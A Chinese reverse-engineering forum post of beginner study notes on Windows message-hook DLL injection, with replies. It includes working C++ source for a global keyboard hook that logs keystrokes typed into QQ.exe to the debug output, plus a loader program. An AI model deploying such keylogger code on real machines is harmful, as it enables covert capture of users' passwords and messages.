吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 7835|回复: 53
收起左侧

[原创] 萌新逆向学习笔记——消息钩子键盘记录

  [复制链接]
psycongroo 发表于 2020-8-11 20:55

0x0 前言:

我还记得小时候——大概08年那会儿,流行玩一款叫梦幻西游的网游。那时候我尚幼小,并没有诸如电脑病毒,木马等概念,反正拿到鼠标键盘就是一顿操作,玩玩游戏就行。直到有一天电脑突然弹出一个记事本exe,上面写道:“你的马面真的是垃圾。”本沉迷网游的我一下从梦中惊醒。还没等我反应过来,鼠标不受控制,右下角退出瑞星杀毒软件。后来两个游戏号陆续被盗,让我很是沉闷一段时间。

直到现在我学习了《逆向工程核心原理》,看到了DLL注入的一种方式——消息钩子注入。才忽然恍然大悟,仿佛抓到了当年被盗号的真相的尾巴。

0x2 准备事项:

阅读此文需要具备以下一定的知识:

  1. c++编程语言基本知识
  2. 些少的win32API 知识
  3. 会上MSDN微软官网查询API

本文是笔者的学习读书笔记,用以总结记录,如有错误,多多指出。倘若读者为逆向入门,也不妨尝试阅读此文。

如果读者没看懂代码不要紧代码部分可跳过,紧记住整个的流程,对关键的API产生印象。待日后熟悉了C++和一些API,也自然看得懂了。

0x4 原理:

从代码上来看,就是利用微软官方提供的API SetWindowsHookExA/SetWindowsHookExW来设置消息钩子,拦截特定的输入(如键盘和鼠标等)。

从整个过程来看:

  1. 当我们通过键盘输入,系统(OS)会把键盘输入这个事件发送到系统消息队列(OS message queue)
  2. 随后系统会从这个消息队列里拿出这个事件,判断这个输入是在哪个程序发生的。
  3. 发送到输入发生地程序的消息列表中(application message queue)
  4. 目标程序把键盘输入的事件拿出,执行并显示

而调用SetWindowsHookExA/`SetWindowsHookExW事实上就是在OS message queue和application message queue之间设置了一个钩子,有了它我们就可以在键盘输入这个事件到达目标程序前处理事件。因此你可以用来偷偷记录,亦或者是更改其内容。

很神奇吧,为什么是在OS message queue和application message queue间设置了钩子而不是在其他地方呢?这不是笔者说的算的,这是本来就存在的,是微软就是这么设计的,并不是什么黑科技。

而在OS message queue和application message queue之间的钩子,实际上是一个钩链。这意味着钩子可以设置多个。他们会像排队一样按顺序的处理输入的事件,钩子的代码里也可以决定是否把事件给下一个钩子处理。

流程图.png

0x6 API官方文档

首先看一下SetWindowsHookExW需要的参数。

HHOOK SetWindowsHookExW(
  int       idHook, 
  HOOKPROC  lpfn,
  HINSTANCE hmod,
  DWORD     dwThreadId
);
  1. int hook——指定事件的钩子ID,如键盘事件WH_KEYBOARD。设置后只对键盘输入起反应。
  2. HOOKPROC  lpfn——钩子的处理函数,若设置的是键盘输入钩子,必须是微软定义的一个叫KeyboardProc的函数。
  3. HINSTANCE hmod——模块句柄,因此一般设置钩子的地方在DLL中。
  4. DWORD dwThreadId——需要设置钩子的线程ID,倘若为0则为全局钩子(所有程序都钩)。

关于KeyboardProc函数:
根据文档其定义如下:

LRESULT CALLBACK KeyboardProc(
  _In_ int    code,
  _In_ WPARAM wParam,
  _In_ LPARAM lParam
);

参数说明:

  1. int code——有三种值,小于0,等于0,等于3。
    1.1 小于0:表示必须调用CallNextHookEx函数传递消息,传递给下一个钩子。并且不能做过多处理
    1.2 等于0:表示参数wParam和lParam 包含关于按键虚拟值相关信息,相关具体值,可看文档(我们正是需要这种)
    1.3 等于3:包含第二种情况,同时表示该按键事件被使用PeekMessage方法偷看过
  2. WPARAM wParam——键盘输入按键对应的虚拟值(我们用这个判断按下什么键)
  3. LPARAM lParam——包含各种各样的值,需要的可看官方文档

0x8 实践

首先看看实际调用SetWindowsHookExW的地方。这是一个自己写的DLL。他通过__declspec(dllexport)关键字来导出函数,来给我们写的程序(EXE)调用启动:
KeyHook.dll中内容:

#define DllExport __declspec(dllexport)
extern "C" {

    DllExport void HookStart() { //导出自定义的HookStart函数
        myHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, myModule, 0);
    }

    DllExport void HookStop() {  //导出自定义的HookStop函数
        UnhookWindowsHookEx(myHook);
        myHook = NULL;
    }
}

请注意我们需要写两个PE文件,一个是exe,一个是dll。钩子设置以及实现的内容均在dll中,exe只是一个药引子,用来启动它。至于为什么要这样,这是大概是因为SetWindowsHookEx的使用必须是在模块当中。而这里用关键字导出两个函数,是为了给药引子程序来启动它。

可以看到SetWindowsHookEx的第二个参数KeyboardProc就是我们核心的内容,它记录了键盘的输入:

#define DEF_PROCESS_NAME L"QQ.exe"
LRESULT CALLBACK KeyboardProc(
    _In_ int    code,
    _In_ WPARAM wParam,
    _In_ LPARAM lParam
) {
    WCHAR szPath[MAX_PATH] = { 0 };
    WCHAR* p = NULL;
    if (code == 0)
    {
        if (!(lParam & 0x80000000))  //松开按键判断,这里常规操作
        {
            GetModuleFileName(NULL, szPath, MAX_PATH);  //获取当前调用该DLL的文件路径 如z:\sofeware\QQ\QQ.exe
            p = wcsrchr(szPath, '\\');  //获取最后一个符号\后的字符串
            setlocale(LC_ALL, ""); //使用_wcsicmp函数前的固定操作
            BOOL isTarget = !_wcsicmp(p + 1, DEF_PROCESS_NAME); //判断当前进程是否为QQ.exe 若相等返回0,但TURE的值是1
            BOOL isNumberLetter = wParam >= 0x30 && wParam <= 0x39 || wParam >= 0x41 && wParam <= 0x5A;  //数字和字母判断
            OutputDebugString(p+1);  //输出到Debug日志
            OutputDebugString(szPath);
            if (isTarget && isNumberLetter)
            {
                result.push_back((WCHAR)wParam);
            }
            if (wParam == VK_RETURN)  //回车键判断
            {
                OutputDebugString(getInput()); //输出结果
                result.clear();
            }
        }
    }
    return CallNextHookEx(myHook, code, wParam, lParam);
}

这里大概逻辑是先拿到当前调用DLL的文件名,判断是否为QQ.exe,如果是则记录在list中,当按下回车时,将list中记录的内容输入到debug消息。代码不难,前提是有C++基础。

SetWindowsHookEx的第三个参数myModule可以在DLL初始化时获得:

HMODULE myModule = NULL;
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        myModule = hModule; //初始化
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

还是说明一下,这里的DllMain方法是DLL初始化时必定会走的地方,所以这里又是一个"微软规定"。

至此,键盘记录的核心实现内容已讲解完,剩下的还有"药引子"exe程序。
ConsoleApplication1.exe

#define HOOK_START "HookStart"
#define HOOK_STOP "HookStop"
#define DLL_NAME "KeyHook.dll"
PEN_HOOKSTART hookStart = NULL;
PEN_HOOKSTOP hookStop = NULL;
HMODULE hdll;
hdll = LoadLibraryA(DLL_NAME); //通过名字加载同目录下的DLL文件,此时会调用DLL的DllMain函数
hookStop = (PEN_HOOKSTOP)GetProcAddress(hdll, HOOK_STOP);   //通过函数名字和DLL句柄,获取函数地址
hookStart = (PEN_HOOKSTART)GetProcAddress(hdll, HOOK_START);
hookStart();

这里主要看看核心代码即可,整个过程为DLL常规的调用。载入DLL->从DLL中获取函数->调用。倘若是第一次接触相关API建议看看相关文档,这里只涉及LoadLibraryAGetProcAddress两个API。请注意GetProcAddress获取的函数必须是通过先前关键字导出的函数,否则无法获取。

最后我们就能看到:

QQ截图20200811192840.png

ps:注意使用DebugView来查看debug输出。因为笔者调用的函数是输出到debug日志里的而不是控制台上。

0xA 问题之所在

字母大小写

有一个明显的问题就是,记录的虚拟按键值无法区分大小写。这是因为提供的虚拟按键值并没有字母大小写之分见文档

药引子程序卡死

当安装钩子后,药引子程序会卡死。经过相关百度和文档查阅可得知这是因为DLL和被挂钩子的程序位不一样。
如:笔者写的DLL为32位钩子,而目标程序为64位程序。
这样就会导致按键事件分发不到具体的钩子处理函数,而事件已经被标志为已挂钩,必须找到处理函数。这就会产生事件无法得到处理,程序卡死的现象:

Because hooks run in the context of an application, they must match the "bitness" of the application. If a 32-bit application installs a global hook on 64-bit Windows, the 32-bit hook is injected into each 32-bit process (the usual security boundaries apply). In a 64-bit process, the threads are still marked as "hooked." However, because a 32-bit application must run the hook code, the system executes the hook in the hooking app's context; specifically, on the thread that called SetWindowsHookEx. This means that the hooking application must continue to pump messages or it might block the normal functioning of the 64-bit processes

一句话来说就是32位的DLL钩子只能注入32位程序,同理64位也是如此。但问题是我的药引子程序也是32位的,DLL也是32位的,虽然笔者设置的是全局钩子,但为何还会卡死呢?

值得一提的是,当把DLL和药引子程序均设为64位时,药引子程序便没有卡死。

0xC 总结

当从书里出来,自己实现一遍遇到各种各样的问题并解决后,原本觉得是天书的代码焕然一新,仿佛觉得能信手拈来。钩子注入的核心在于对拦截事件的处理。而作为新手的我们,应该先注重如何注入钩子,再去考虑如何处理事件。当两者已了然于胸,到时候离逆向之路也会走的更远了吧。

示例及源码下载地址:https://share.weiyun.com/3nCWkg6z

免费评分

参与人数 11吾爱币 +15 热心值 +9 收起 理由
银.桑 + 1 + 1 谢谢@Thanks!
xiaohanjss + 1 太强了!
NGUlyb + 1 + 1 我很赞同!
qs15 + 1 + 1 热心回复!
shikozhou + 1 + 1 用心讨论,共获提升!
hgfty1 + 1 用心讨论,共获提升!
天上飞来一只 + 1 用心讨论,共获提升!
涛行 + 1 我很赞同!
哈哈达仁 + 1 + 1 热心回复!
孤丶宇 + 1 + 1 很棒 !感谢分享!
Hmily + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

皇帝陛下万岁 发表于 2020-8-13 15:55
psycongroo 发表于 2020-8-12 18:11
这还真不知道,得问大佬。
防止电脑恶意程序都是从个人使用电脑习惯开始啦。别运行些奇怪的exe,少去点 ...

钩子优先级是后注册优先,所以理论上QQ就是一直重复注册钩子保证优先级最高 所以获取到的QQ密码都是乱文

免费评分

参与人数 1热心值 +1 收起 理由
Belong_to_you_ + 1 我很赞同!

查看全部评分

javayuan 发表于 2021-3-18 20:33
请教一下大佬,最近我也在看逆向工程核心原理的键盘消息钩子遇到了和楼主一样的问题,看了楼主的解释茅塞顿开,知道了为什么我在一些64位程序里会卡死,但我想问为啥药引子程序自身会卡死呢(32位),就是无法正常卸载钩子
lmx2928223822 发表于 2020-8-11 21:05
Hmily 发表于 2020-8-11 21:07
是不是想复杂了,那可能就是远控木马打开了个文本。。。
 楼主| psycongroo 发表于 2020-8-11 21:45
Hmily 发表于 2020-8-11 21:07
是不是想复杂了,那可能就是远控木马打开了个文本。。。

真的是心痛,两个号被盗了。您可知道那可是点卡游戏...
天南地北一群魔 发表于 2020-8-11 21:50
大佬,感谢分享。。。
孤丶宇 发表于 2020-8-11 21:57
感谢大佬分享

真心疼你   小时候我也遇到过真可怕
w8776542eng 发表于 2020-8-11 22:18
我小时候打游戏,被盗过n个号。。
zhanz 发表于 2020-8-11 22:43
心疼楼主三秒
endriver 发表于 2020-8-11 22:49
写的够详细具体,多谢分享
jion 发表于 2020-8-11 22:52
学习到了
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 23:43

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表